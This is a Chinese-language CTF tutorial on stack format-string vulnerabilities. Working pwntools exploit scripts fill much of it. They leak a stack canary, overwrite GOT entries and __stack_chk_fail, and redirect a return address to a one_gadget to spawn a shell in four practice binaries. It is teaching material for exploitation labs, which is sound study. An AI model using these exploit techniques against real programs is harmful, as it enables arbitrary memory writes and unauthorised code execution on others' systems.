栈上格式化字符串漏洞泄露内存
%c为单个字符形式
%s为多个字符形式
%d为数字形式
%f是转为浮点型
%x是转为十六进制形式,不带0x
%p是转为十六进制,但是带0x
%n 将%n之前打印出来的字符的个数存入到参数中
先了解一下printf函数
printf函数的格式化字符串常见的有 %d,%f,%c,%s,%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)等等。
但是有个不常见的格式化字符串 %n ,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。和利用该漏洞的重要 格式化字符串%n,利用他可以做到任意内存写入
明显前者没有问题,后者不规定打印类型而存在格式化字符串漏洞。
我们看个例题
这个例题不只是格式化字符串漏洞
因为它还开了canary如果兄弟们还不明白canary的作用可以点开小编的主页,有详细的解答关于canary。
开始代码审计:输入数为v4与v6(canary)比较,相同就执行system,,所以我们就需要利用格式化字符串漏洞泄露canary,并发送过去就可以获取权限了
当scanf的字符串是'%d'时,用str(0xfc1)会输入修改成功。
当scanf的字符串是'%s'时,用p64(0xfc1)会输入修改成功。
这里我们调试获偏移为11
根据调试可以获得canary地址:0x420b5e5bf79a0000
上代码
from pwn import *
from struct import pack
from ctypes import *
import base64
import gmpy2
def s(a):
p.send(a)
def sla(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'],libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux',arch='amd64',log_level='debug')
p= process('./pwn1')
elf=ELF('./pwn1')
def bug():
gdb.attach(p)
pause()
payload=b'%11$p'
s(payload)
rl('0x')
canary=int(p.recv(16),16)
print(hex(canary))
print(str(canary))sl(str(canary))
p.interactive()
栈上格式化字符串漏洞修改got表
可以看到存在格式化漏洞,我们知道system('$0')能够取得权限,看到这里是不是想到任意地址写的功能呢?将puts函数的plt表地址改为system函数的got表地址是不是就能获取权限了。
payload = fmtstr_payload(偏移,{要修改函数got:改成函数plt})
但我们注意到这道题是没有system函数的 可以用libc来得到system函数的真实地址,但我们只有一次读入,该怎么连续利用两次?我们可以先将puts改成main函数,之后利用延迟绑定去泄露libc_base并更改函数
^(* ̄(oo) ̄)^:偏移是6
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
elf=ELF("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
payload=fmtstr_payload(6,{elf.got['puts']:elf.sym['main']})
bug()
p.sendline(payload)
payload2=b'%7$saaaa'+p64(elf.got['read'])
pause()
p.sendline(payload2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
pay=fmtstr_payload(6,{elf.got['puts']:system})
pause()
p.sendline(pay)
栈上格式化字符串漏洞修改stack_checkfail
例题3,将stack_checkfail改为one_gadget
进入fmt函数
one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell,前提是需要libc_base。stack checkfail函数是检测canary被修改后的退出函数,就是检测出不同的canary时跳转的函数,如果我们能够控制它可以快速取得shell
一般情况下我们使用第二个
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")fmt=0x4011DD
pay1=fmtstr_payload(6,{elf.got['__stack_chk_fail']:elf.sym['main']})
bug()
p.sendline(pay1)pay2=(b'%7$saaaa'+p64(elf.got['read'])).ljust(0x50,b'\x00')#stack check fail是canary覆盖后才会出现,需要覆盖
pause()
p.sendline(pay2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
one_addr=libc_base+0xebcf5
pay3=fmtstr_payload(6,{elf.got['__stack_chk_fail']:one_addr})
pause()
p.send(pay3)
p.interactive()
栈上格式化字符串漏洞修改返回地址为one_gadget
保护全开
代码审计:有一次读入当读入是yes时通过比较,存在格式化字符串漏洞
出现两个打印流程
分别打印libc基址和栈基址
这时候可能有小伙伴疑惑为什么不用上个方法,用read覆盖stack_checkfail,不妨仔细看看就会发现read函数覆盖不到stack_checkfail。这怎么办呢?不妨将最后一个printf的返回地址改为one_gadget,话不多说上代码。
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn4")
elf=ELF("./pwn4")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")p.recvuntil("lbs 6 or not 6")
pay=b'yes\x00'
p.send(pay)
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['printf']
print(hex(libc_base))
p.recvuntil("0x")
ret_addr=int(p.recv(12),16)-8
one_addr=libc_base+0xebcf1
pay=fmtstr_payload(6,{ret_addr:one_addr})
p.send(pay)p.interactive()